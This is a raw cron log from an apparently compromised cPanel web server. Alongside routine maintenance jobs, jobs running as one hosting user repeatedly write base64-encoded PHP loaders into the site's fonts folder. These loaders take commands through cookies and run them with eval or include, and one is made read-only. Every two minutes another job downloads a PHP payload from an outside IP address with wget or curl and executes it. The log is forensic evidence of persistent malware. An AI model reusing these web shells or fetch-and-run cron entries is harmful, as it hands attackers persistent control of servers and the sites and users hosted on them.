Sep  3 14:37:01 ip-184-168-122-23 CROND[20779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:37:01 ip-184-168-122-23 CROND[20781]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:37:01 ip-184-168-122-23 CROND[20782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:37:01 ip-184-168-122-23 CROND[20784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:38:01 ip-184-168-122-23 CROND[20868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:38:01 ip-184-168-122-23 CROND[20870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:38:01 ip-184-168-122-23 CROND[20871]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:38:01 ip-184-168-122-23 CROND[20873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:38:01 ip-184-168-122-23 CROND[20875]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 14:39:01 ip-184-168-122-23 CROND[20962]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:39:01 ip-184-168-122-23 CROND[20964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:39:01 ip-184-168-122-23 CROND[20966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:39:01 ip-184-168-122-23 CROND[20969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:39:01 ip-184-168-122-23 CROND[20967]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 14:40:01 ip-184-168-122-23 CROND[21058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:40:01 ip-184-168-122-23 CROND[21060]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 14:40:01 ip-184-168-122-23 CROND[21066]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:40:01 ip-184-168-122-23 CROND[21061]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 14:40:01 ip-184-168-122-23 CROND[21065]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 14:40:01 ip-184-168-122-23 CROND[21062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:40:01 ip-184-168-122-23 CROND[21067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:40:01 ip-184-168-122-23 CROND[21064]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 14:41:01 ip-184-168-122-23 CROND[21242]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:41:01 ip-184-168-122-23 CROND[21245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:41:01 ip-184-168-122-23 CROND[21246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:41:01 ip-184-168-122-23 CROND[21244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:42:01 ip-184-168-122-23 CROND[21336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:42:01 ip-184-168-122-23 CROND[21337]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:42:01 ip-184-168-122-23 CROND[21338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:42:01 ip-184-168-122-23 CROND[21335]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 14:42:01 ip-184-168-122-23 CROND[21343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:43:01 ip-184-168-122-23 CROND[21445]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:43:01 ip-184-168-122-23 CROND[21448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:43:01 ip-184-168-122-23 CROND[21446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:43:01 ip-184-168-122-23 CROND[21447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:44:01 ip-184-168-122-23 CROND[21532]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 14:44:01 ip-184-168-122-23 CROND[21534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:44:01 ip-184-168-122-23 CROND[21536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:44:01 ip-184-168-122-23 CROND[21537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:44:01 ip-184-168-122-23 CROND[21538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:45:01 ip-184-168-122-23 CROND[21631]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:45:01 ip-184-168-122-23 CROND[21632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:45:01 ip-184-168-122-23 CROND[21634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:45:01 ip-184-168-122-23 CROND[21636]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 14:45:01 ip-184-168-122-23 CROND[21633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:45:01 ip-184-168-122-23 CROND[21637]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 14:46:01 ip-184-168-122-23 CROND[21854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:46:01 ip-184-168-122-23 CROND[21857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:46:01 ip-184-168-122-23 CROND[21859]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 14:46:01 ip-184-168-122-23 CROND[21864]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 14:46:01 ip-184-168-122-23 CROND[21863]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 14:46:01 ip-184-168-122-23 CROND[21866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:46:01 ip-184-168-122-23 CROND[21871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:47:01 ip-184-168-122-23 CROND[22000]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:47:01 ip-184-168-122-23 CROND[22003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:47:01 ip-184-168-122-23 CROND[22002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:47:01 ip-184-168-122-23 CROND[22001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:48:01 ip-184-168-122-23 CROND[22133]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:48:01 ip-184-168-122-23 CROND[22134]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 14:48:01 ip-184-168-122-23 CROND[22136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:48:01 ip-184-168-122-23 CROND[22137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:48:01 ip-184-168-122-23 CROND[22138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
